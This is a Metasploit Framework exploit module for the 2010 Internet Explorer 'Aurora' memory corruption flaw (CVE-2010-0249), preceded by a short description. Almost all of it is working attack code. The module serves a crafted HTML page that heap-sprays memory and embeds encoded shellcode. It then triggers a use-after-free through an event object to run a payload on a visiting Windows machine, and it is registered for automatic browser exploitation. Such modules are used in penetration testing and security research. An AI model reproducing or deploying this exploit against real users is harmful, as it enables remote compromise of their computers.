This Metasploit module exploits a memory corruption flaw in Internet Explorer. This flaw was found in the wild and was a key component of the "Operation Aurora" attacks that lead to the compromise of a number of high profile companies. The exploit code is a direct port of the public sample published to the Wepawet malware analysis site. The technique used by this module is currently identical to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
3e85484343b5c78a9c2a0d7d62ce19ffbc47df882e35e2a3de9a917ffb2fa1ad##
# $Id: ie_aurora.rb 8140 2010-01-16 01:00:01Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer "Aurora" Memory Corruption',
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer. This
flaw was found in the wild and was a key component of the "Operation Aurora"
attacks that lead to the compromise of a number of high profile companies. The
exploit code is a direct port of the public sample published to the Wepawet
malware analysis site. The technique used by this module is currently identical
to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown',
'hdm' # Metasploit port
],
'Version' => '$Revision: 8140 $',
'References' =>
[
['CVE', '2010-0249'],
['OSVDB', '61697'],
['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jan 14 2009', # wepawet sample
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
if (request.uri.match(/\.gif/i))
data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
send_response(cli, data, { 'Content-Type' => 'image/gif' })
return
end
var_memory = rand_text_alpha(rand(100) + 1)
var_boom = rand_text_alpha(rand(100) + 1)
var_x1 = rand_text_alpha(rand(100) + 1)
var_e1 = rand_text_alpha(rand(100) + 1)
var_e2 = rand_text_alpha(rand(100) + 1)
var_comment = rand_text_alpha(rand(100) + 1);
var_abc = rand_text_alpha(3);
var_ev1 = rand_text_alpha(rand(100) + 1)
var_ev2 = rand_text_alpha(rand(100) + 1)
var_sp1 = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
rand_html = rand_text_english(rand(400) + 500)
html = %Q|<html>
<head>
<script>
var #{var_comment} = "COMMENT";
var #{var_x1} = new Array();
for (i = 0; i < 200; i ++ ){
#{var_x1}[i] = document.createElement(#{var_comment});
#{var_x1}[i].data = "#{var_abc}";
};
var #{var_e1} = null;
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}() {
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for(#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
}
function #{var_ev1}(evt){
#{var_boom}();
#{var_e1} = document.createEventObject(evt);
document.getElementById("#{var_sp1}").innerHTML = "";
window.setInterval(#{var_ev2}, 50);
}
function #{var_ev2}(){
p = "\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
for (i = 0; i < #{var_x1}.length; i ++ ){
#{var_x1}[i].data = p;
}
var t = #{var_e1}.srcElement;
}
</script>
</head>
<body>
<span id="#{var_sp1}"><img src="#{get_resource}#{var_start}.gif" onload="#{var_ev1}(event)"></span></body></html>
</body>
</html>
|
print_status("Sending #{self.name} to client #{cli.peerhost}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
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